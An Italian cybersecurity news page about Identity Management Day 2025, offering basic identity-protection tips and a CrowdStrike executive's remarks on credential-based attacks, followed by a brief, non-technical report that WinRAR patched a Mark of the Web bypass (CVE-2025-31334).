L’8 aprile 2025 si celebra la quinta edizione dell’Identity Management Day, un’iniziativa promossa dalla Identity Defined Security Alliance (IDSA) e dalla National Cybersecurity Alliance (NCA). Questa giornata ha l’obiettivo di sensibilizzare individui e organizzazioni sull’importanza della gestione e protezione delle identità digitali, evidenziando le migliori pratiche per prevenire violazioni e furti di dati personali.
L’Importanza della Gestione delle Identità
Nell’era digitale, le identità rappresentano il nuovo perimetro della sicurezza informatica. Secondo il 2020 Verizon Data Breach Investigations Report, fino all’81% delle violazioni informatiche legate all’hacking sfruttano password deboli, rubate o compromesse. Questo sottolinea la necessità di adottare misure proattive nella gestione delle credenziali e nell’implementazione di strategie di sicurezza basate sull’identità.National Cybersecurity Alliance
Pertanto occorre implementare un approccio alla sicurezza che ponga l’identità al centro, implementando principi di zero trust e autenticazione multifattoriale. Cyber Daily Per celebrare l’Identity Management Day 2025, l’IDSA ha organizzato una conferenza virtuale globale con sessioni che coprono le regioni delle Americhe, EMEA e Oceania-Asia. Il tema di quest’anno, “Identità Esistenziale”, esplora l’evoluzione delle identità umane e non umane nel contesto dell’intelligenza artificiale e delle nuove tecnologie. Days Of The Year+2Identity Defined Security Alliance+2Identity Defined Security Alliance+2
Una delle sessioni principali, intitolata “Più Umano del Umano: Una Storia Avvincente su Macchine, AI e Identità”, sarà presentata da Henrique Teixeira di Saviynt. Questa sessione esplorerà l’impatto dell’intelligenza artificiale sulla gestione delle identità e sulla sicurezza informatica.
Best Practices per la Protezione delle Identità Digitali
In occasione dell’Identity Management Day, è fondamentale adottare misure concrete per proteggere le proprie identità digitali. Ecco alcune best practices consigliate:
- Utilizzare l’Autenticazione Multifattoriale (MFA): Aggiungere un ulteriore livello di sicurezza oltre alla password per accedere ai propri account.
- Aggiornare Regolarmente le Password: Modificare le password periodicamente e non riutilizzarle su più account.
- Essere Vigili contro il Phishing: Prestare attenzione a e-mail o messaggi sospetti che richiedono informazioni personali o credenziali di accesso.
- Monitorare le Attività dei Conti: Controllare regolarmente gli estratti conto bancari e le attività degli account online per individuare eventuali attività non autorizzate.
Implementando queste pratiche, individui e organizzazioni possono ridurre significativamente il rischio di violazioni legate all’identità.Cyber Daily
Fabio Fratucello, Field CTO World Wide, CrowdStrike ha riportato recentemente “Oggi gli avversari non forzano l’ingresso: accedono con le credenziali. Gli attaccanti hanno abbandonato i metodi tradizionali basati su malware, preferendo sfruttare le lacune nella gestione delle identità e utilizzare credenziali rubate per infiltrarsi silenziosamente negli ambienti. Una volta all’interno, essi agiscono come utenti legittimi, eludendo gli strumenti di sicurezza tradizionali e muovendosi lateralmente tra domini di identità, endpoint e cloud. Come evidenziato nel Global Threat Report 2025 di CrowdStrike, il 79% degli accessi iniziali oggi avviene infatti senza l’uso di malware, e l’attività degli access broker è aumentata del 50% su base annua. La realtà è che le misure di sicurezza tradizionali, un tempo efficaci contro gli attacchi guidati da malware, sono oggi inadeguate. L’Identity Management Day rappresenta per le organizzazioni un’occasione per rivalutare la propria postura in tema di sicurezza delle identità e per adottare un approccio proattivo, fondato sull’identità, alla difesa. Ciò include l’implementazione dei principi zero-trust, il monitoraggio continuo delle identità, il rafforzamento dell’autenticazione tramite MFA (autenticazione a più fattori) e metodi passwordless, il dispiegamento di sistemi di rilevamento delle minacce e di intelligence basati su intelligenza artificiale, e l’eliminazione dei privilegi di accesso non necessari. Inoltre, le organizzazioni hanno bisogno di una piattaforma di sicurezza unificata, alimentata da intelligence in tempo reale, in grado di correlare le attività relative a identità, cloud ed endpoint, per offrire una visibilità completa attraverso tutti i domini ed eliminare i punti ciechi. Adottando una strategia di sicurezza incentrata sull’identità e una piattaforma unificata, le organizzazioni possono concentrarsi sull’obiettivo principale: fermare le violazioni“.
Conclusione
L’Identity Management Day serve come promemoria dell’importanza cruciale della gestione delle identità nell’attuale panorama digitale. Partecipando a eventi educativi e adottando misure proattive, possiamo tutti contribuire a creare un ambiente online più sicuro. Per ulteriori informazioni e per partecipare alle iniziative, visita il sito ufficiale dell’Identity Defined Security Alliance.
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Una falla su WinRAR è stata corretta! Aggirava la sicurezza di Windows per eseguire codice malevolo!
WinRAR ha corretto una vulnerabilità recentemente che consentiva di aggirare la funzionalità di sicurezza Mark of the Web (MotW) di Windows ed eseguire codice sul computer della vittima.
La vulnerabilità è identificata con l’identificatore CVE-2025-31334 (6,8 punti sulla scala CVSS) riguarda tutte le versioni di WinRAR, tranne la 7.11.
Mark of the Web è una funzionalità di sicurezza di Windows che viene utilizzata per contrassegnare i file potenzialmente pericolosi scaricati da Internet. Quando si apre un file eseguibile contrassegnato come MotW, Windows avverte l’utente che il file è stato scaricato da Internet e potrebbe essere pericoloso, proponendo di continuare a eseguirlo o di chiuderlo.
Una vulnerabilità in WinRAR consentiva di aggirare l’avviso MotW quando si apriva un collegamento simbolico (symlink) che puntava a un file eseguibile.
Di conseguenza, un aggressore potrebbe eseguire codice arbitrario utilizzando un collegamento simbolico appositamente preparato. Si noti che un collegamento simbolico può essere creato solo in Windows con diritti di amministratore.
Inoltre, a partire dalla versione 7.10, WinRAR è in grado di rimuovere le informazioni MotW (come i dati sulla posizione e l’indirizzo IP) dal flusso di dati che potrebbero rappresentare una minaccia per la privacy.
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suoko
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